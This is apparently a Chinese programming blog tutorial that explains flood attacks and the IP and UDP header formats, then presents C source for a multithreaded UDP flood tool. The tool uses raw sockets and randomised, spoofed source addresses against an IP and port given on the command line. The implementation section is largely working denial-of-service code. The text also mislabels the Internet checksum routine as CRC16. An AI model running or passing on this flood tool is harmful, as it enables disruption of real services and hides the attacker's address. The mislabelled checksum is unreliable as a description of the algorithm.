【Linux网络编程】UDP洪水攻击

本文深入解析UDP洪水攻击的原理及实现过程,涵盖IP与UDP协议格式、原始套接字使用及CRC16校验算法,详细说明如何通过编程实现UDP洪水攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

00. 目录

01. 洪水攻击概述

洪水攻击(FLOOD ATTACK指的是利用计算机网络技术向目标机发送大量的无用数据报文,使得目标主机忙于处理无用的数据报文而无法提供正常服务的网络行为。

洪水攻击顾名思义是用大量的请求来淹没目标机。洪水攻击主要利用了网络协议的安全机制或者直接用十分简单的ping资源的方法来对目标机造成影响。

攻击的手段主要是使用畸形的报文来让目标机进行处理或者等待,一般都是在原始套接字层进行程序设计。洪水攻击主要分为ICMP、UDP和SYN攻击3种类型。

  • ICMP回显攻击利用原始套接字向目标机发送大量回显请求或者回显响应的数据,由于此数据协议栈默认是必须处理的,因此可以对目标机造成影响。

  • UDP攻击则是向目标主机UDP服务端端口发送UDP报文,由于目标机需要对端口进行处理,如果知道目标机的基本数据格式,则可以构建十分有效的代码来对目标机造成很大伤害。

  • SYN攻击利用TCP连接中三次握手,在发送一个SYN原始报文后,目标需要对发送的报文进行处理并等待超时。

洪水攻击是现在黑客比较常用的一种攻击技术,特点是实施简单,威力巨大,大多是无视防御的。

02. UDP洪水攻击原理分析

UDP攻击又称UDP洪水攻击或UDP淹没攻击(英文:UDP Flood Attack)。UDP 是一种无连接的协议,而且它不需要用任何程序建立连接来传输数据。当受害系统接收到一个 UDP 数据包的时候,它会确定目的端口正在等待中的 应用程序。当它发现该端口中并不存在正在等待的应用程序,它就会产生一个目的地址无法连接的 ICMP数据包发送给该伪造的源地址。如果向受害者计算机端口发送了足够多的 UDP 数据包的时候,整个系统就会瘫痪。

在这里插入图片描述

03. IP协议格式

在这里插入图片描述
版本:IP协议的版本,目前的IP协议版本号为4,下一代IP协议版本号为6。

首部长度:IP报头的长度。固定部分的长度(20字节)和可变部分的长度之和。共占4位。最大为1111,即10进制的15,代表IP报头的最大长度可以为15个32bits(4字节),也就是最长可为15*4=60字节,除去固定部分的长度20字节,可变部分的长度最大为40字节。

区分服务:占 8 位,用来获得更好的服务。在旧标准中叫做服务类型,但实际上一直未被使用过。1998 年这个字段改名为区分服务。只有在使用区分服务(DiffServ)时,这个字段才起作用。在一般的情况下都不使用这个字段

总长度:占 16 位,指首部和数据之和的长度,单位为字节,因此数据报的最大长度为 65535 字节。总长度必须不超过最大传送单元 MTU。

标识:唯一的标识主机发送的每一分数据报。通常每发送一个报文,它的值加一。当IP报文长度超过传输网络的MTU(最大传输单元)时必须分片,这个标识字段的值被复制到所有数据分片的标识字段中,使得这些分片在达到最终目的地时可以依照标识字段的内容重新组成原先的数据。

标志:共3位。R、DF、MF三位。目前只有后两位有效,DF位:为1表示不分片,为0表示分片。MF:为1表示“更多的片”,为0表示这是最后一片。

片位移:本分片在原先数据报文中相对首位的偏移位。片偏移以8个字节为偏移单位。(需要再乘以8)

生存时间:IP报文所允许通过的路由器的最大数量。每经过一个路由器,TTL减1,当为0时,路由器将该数据报丢弃。TTL 字段是由发送端初始设置一个 8 bit字段.推荐的初始值由分配数字 RFC 指定,当前值为 64。发送 ICMP 回显应答时经常把 TTL 设为最大值 255。

协议:指出IP报文携带的数据使用的是那种协议,以便目的主机的IP层能知道要将数据报上交到哪个进程(不同的协议有专门不同的进程处理)。和端口号类似,此处采用协议号,TCP的协议号为6,UDP的协议号为17。ICMP的协议号为1,IGMP的协议号为2.

首部校验和:计算IP头部的校验和,不检验数据部分。检查IP报头的完整性。

源IP地址:发送IP数据报文的源主机地址。

目的IP地址:接收IP报文的目标主机地址。

可选项字段:占32比特。用来定义一些任选项:如记录路径、时间戳等。这些选项很少被使用,同时并不是所有主机和路由器都支持这些选项。可选项字段的长度必须是32比特的整数倍,如果不足,必须填充0以达到此长度要求。

04. UDP协议格式

在这里插入图片描述

源端口:源端口号,在需要对方回信的时候选用,不需要的时候可用全0

目的端口:目的端口号,这在终点交付报文时必须要使用到。

长度:UDP用户数据报的长度(首部字段和数据字段),其最小值是8,也即是只有首部。

检验和:检测UDP用户数据报在传输的过程中是不是有错,有错就丢弃。

05. 原始套接字

5.1 原始套接字概述

通常情况下程序员接所接触到的套接字(Socket)为两类:

  • 流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用;
  • 数据报式套接字(SOCK_DGRAM):一种无连接的 Socket,对应于无连接的 UDP 服务应用。

从用户的角度来看,SOCK_STREAM、SOCK_DGRAM 这两类套接字似乎的确涵盖了 TCP/IP 应用的全部,因为基于 TCP/IP 的应用,从协议栈的层次上讲,在传输层的确只可能建立于 TCP 或 UDP 协议之上,而 SOCK_STREAM、SOCK_DGRAM 又分别对应于 TCP 和 UDP,所以几乎所有的应用都可以用这两类套接字。

但是,当我们面对如下问题时,SOCK_STREAM、SOCK_DGRAM 将显得这样无助:

(1)怎样发送一个自定义的 IP 包?
(2)怎样发送一个 ICMP 协议包?
(3)怎样分析所有经过网络的包,而不管这样包是否是发给自己的?
(4)怎样伪装本地的 IP 地址?

这使得我们必须面对另外一个深刻的主题——原始套接字(SOCK_RAW)。原始套接字广泛应用于高级网络编程,也是一种广泛的黑客手段。著名的网络sniffer(一种基于被动侦听原理的网络分析方式)、拒绝服务攻击(DOS)、IP 欺骗等都可以通过原始套接字实现。

原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包)。另外,必须在管理员权限下才能使用原始套接字。

5.2 原始套接字相关函数

创建套接字

int socket (int family, int type, int protocol )
功能:
	创建套接字
参数:
	family:协议族 这里写 AF_INET
	type:  套接字类,这里写 SOCK_RAW
	protocol:协议类别,指定可以接收或发送的数据包类型,不能写 “0”,取值如下,注意,传参时需要用 htons() 进行字节序转换。
	ETH_P_IP:IPV4数据包
	ETH_P_ARP:ARP数据包
	ETH_P_ALL:任何协议类型的数据包
	IPPROTO_UDP:UDP协议
返回值:
	成功( >0 ):套接字,这里为链路层的套接字
	失败( <0 ):出错

接收数据

ssize_t recvfrom(int sockfd, void *buf, size_t nbytes,
                 int flags, struct sockaddr *from, socklen_t *addrlen );
功能:
	接收数据
参数:
	sockfd:原始套接字
	buf:接收数据缓冲区
	nbytes:接收数据缓冲区的大小
	flags:套接字标志(常为0)
    from:这里没有用,写 NULL
	addrlen:这里没有用,写 NULL

返回值:
	成功:接收到的字符数
	失败:-1

发送数据

ssize_t sendto(int sockfd, const void *buf, size_t nbytes, int flags,
			   const struct sockaddr *to, socklen_t addrlen );
功能:
	发送数据
参数:
	sockfd:原始套接字
	buf:发送数据缓冲区
	nbytes:发送数据缓冲区的大小
	flags:一般为 0
	to:本机网络接口,指发送的数据应该从本机的哪个网卡出去,而不是以前的目的地址
	addrlen:to 所指向内容的长度
返回值:
	成功:发送数据的字符数
	失败: -1

关闭文件描述符

int close(int fd);
功能:
	关闭文件描述符
参数:
	fd 文件描述符
返回值:
	成功 0
    失败 -1

06. UDP洪水攻击实现

6.1 IP协议封装

deng@itcast:/usr/include/netinet$ vim /usr/include/netinet/ip.h
/*
 * Structure of an internet header, naked of options.
 */
struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ip_hl:4;		/* header length */
    unsigned int ip_v:4;		/* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
    unsigned int ip_v:4;		/* version */
    unsigned int ip_hl:4;		/* header length */
#endif
    uint8_t ip_tos;			/* type of service */
    unsigned short ip_len;		/* total length */
    unsigned short ip_id;		/* identification */
    unsigned short ip_off;		/* fragment offset field */
#define	IP_RF 0x8000			/* reserved fragment flag */
#define	IP_DF 0x4000			/* dont fragment flag */
#define	IP_MF 0x2000			/* more fragments flag */
#define	IP_OFFMASK 0x1fff		/* mask for fragmenting bits */
    uint8_t ip_ttl;			/* time to live */
    uint8_t ip_p;			/* protocol */
    unsigned short ip_sum;		/* checksum */
    struct in_addr ip_src, ip_dst;	/* source and dest address */
  };

6.2 UDP协议封装

deng@itcast:/usr/include/netinet$ vim /usr/include/netinet/udp.h 
struct udphdr
{
  __extension__ union
  {
    struct
    {
      uint16_t uh_sport;	/* source port */
      uint16_t uh_dport;	/* destination port */
      uint16_t uh_ulen;		/* udp length */
      uint16_t uh_sum;		/* udp checksum */
    };
    struct
    {
      uint16_t source;
      uint16_t dest;
      uint16_t len;
      uint16_t check;
    };
  };
};

6.3 CRC16校验算法

//计算16位UDP校验和
unsigned short checksum(unsigned char *buf, int len)
{
    unsigned int sum = 0;
    unsigned short *cbuf;

    cbuf = (unsigned short *)buf;

    while(len > 1)
    {
        sum += *cbuf++;
        len -= 2;  //剩余尚未累加的16比特的个数
    }

    if(len) //若len的长度不是偶数
        sum += *(unsigned char *)cbuf; //用最后一个字节补齐

    //防溢出处理
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

6.4 UDP封包实现

//组织UDP数据包
int send_udp_dos(int connfd, struct sockaddr_in *paddr)
{
    int len = 0;
    int ret = -1;

    char *packet = NULL;
    char *data = NULL;
    struct ip *ipheader = NULL;
    struct udphdr *udpheader = NULL;

    //分配空间 IP首部 + UDP首部 + 数据(64)
    len = sizeof(struct ip) + sizeof(struct udphdr) + 64;
    packet = malloc(len);
    if (NULL == packet)
    {
        printf("malloc failed...\n"); 
        return 1;
    }
    //内存清零
    memset(packet, 0, len);

    //第一部分: IP首部
    ipheader = (struct ip*)packet;
    //第二部分: UDP首部
    udpheader = (struct udphdr*)(packet + sizeof(struct ip));
    //第三部分:数据
    data = packet + sizeof(struct ip) + sizeof(struct udphdr);

    //封装IP协议
    
    //协议的版本 IPv4
    ipheader->ip_v = 4; 

    //首部长度 20字节 20 / 4 = 5
    ipheader->ip_hl = 5;

    //区分服务 暂时没有使用
    ipheader->ip_tos = 0;

    //总长度 转化为网路序
    ipheader->ip_len = htons(len);

    //标识 随机
    ipheader->ip_id = random() % 1024;

    //标志 + 片偏移
    ipheader->ip_off = 0;

    //生存时间  随机指定64
    ipheader->ip_ttl = 64;

    //协议
    ipheader->ip_p = IPPROTO_UDP;

    //首部校验和 暂时填写0
    ipheader->ip_sum = 0;

    ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip));

    //随机源地址
    ipheader->ip_src.s_addr  = random() % 1000;

    //目的地址 参数paddr传递进来的
    ipheader->ip_dst = paddr->sin_addr;


    //封装UDP协议
    //随机端口 保证每一次发送数据端口不一样
    udpheader->uh_sport = 1024 + random() % 100;

    //目的端口
    udpheader->uh_dport = paddr->sin_port; 

    //长度 UDP首部 + 数据 
    udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64);

    //校验和
    udpheader->uh_sum = 0;

    udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64);

    //填充数据
    strcpy(data, "heima C++");

    //发送数据 (vim)
    //第一个参数: 套接字
    //第二个参数:  发送数据
    //第三个参数:  发送数据长度
    //第四个参数:  标志
    //第五个参数:  服务端addr结构
    //第六个参数:  sizeof(struct sockaddr_in)
    ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in));
    if (ret <= 0)
    {
        perror("sendto"); 
        return -1;
    }

    printf("ret: %d\n", ret);

    //释放内存
    free(packet);
}

6.5 主函数实现

//UDP洪水攻击
int main(int argc, char **argv)
{
    int i = 0;
    int ret = -1;
    int on = -1;

    //保存线程tid 线程号
    pthread_t tid[MAX];

    //填写服务端信息
    struct sockaddr_in addr;

    //0. 参数检查
    //argv[0] 可执行文件
    //argv[1]: IP 
    //argv[2]: 端口
    if (3 != argc)
    {
        printf("usaage: ./a.out IP port\n"); 
        return 1;
    }

    //注册信号 软件中断
    //第一个参数: 信号编号 SIGINT Ctrl + C 产生
    //第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler
    signal(SIGINT, handler);     



    //1. 创建套接字 UDP
    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
    if (-1 == sockfd)
    {
        //输出出错原因
        perror("socket"); 
        return 1;
    }
    printf("sockfd = %d\n", sockfd);

    //设置自己封装IP
    on = 1; //表示使能
    ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
    if (-1 == ret)
    {
        perror("setsockopt"); 
        return -1;
    }


    //2. 初始化结构体 
    //服务端IP + 服务端端口
    //man 7 ip
    memset(&addr, 0, sizeof(addr));    
    addr.sin_family = AF_INET; //ipv4
    //将字符串转化为int类型 "123"--> 123
    addr.sin_port = htons(atoi(argv[2]));

    //填充IP 192.168.12.88
    //字符串IP转化为大端模式的IP
    inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr);    

    printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]);

#if 1
    //循环创建线程
    for (i = 0; i < MAX; i++)
    {
        //第一个参数:传出线程号
        //第二个参数:线程属性 默认即可 NULL:
        //第三个参数:线程处理函数 线程启动之后执行函数
        //第四个参数:传递给线程处理函数的参数
        pthread_create(&tid[i], NULL, fun, (void*)&addr); 
    }

    //等待所有的线程退出
    for (i = 0; i < MAX; i++)
    {
    
        //第一个参数: 线程ID
        //第二个参数: 传出线程退出状态
        pthread_join(tid[i], NULL); 
    }

#else
    //3. 循环发送数据
    while(1)
    {
        send_udp_dos(sockfd, &addr); 
    }

#endif


    //4. 关闭文件描述符
    close(sockfd);

    return 0;
}

07. 测试结果

在这里插入图片描述

07. 免费视频讲解

在线视频地址:http://yun.itheima.com/open/430.html

08. 总结

在这里插入图片描述

评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

沧海一笑-dj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值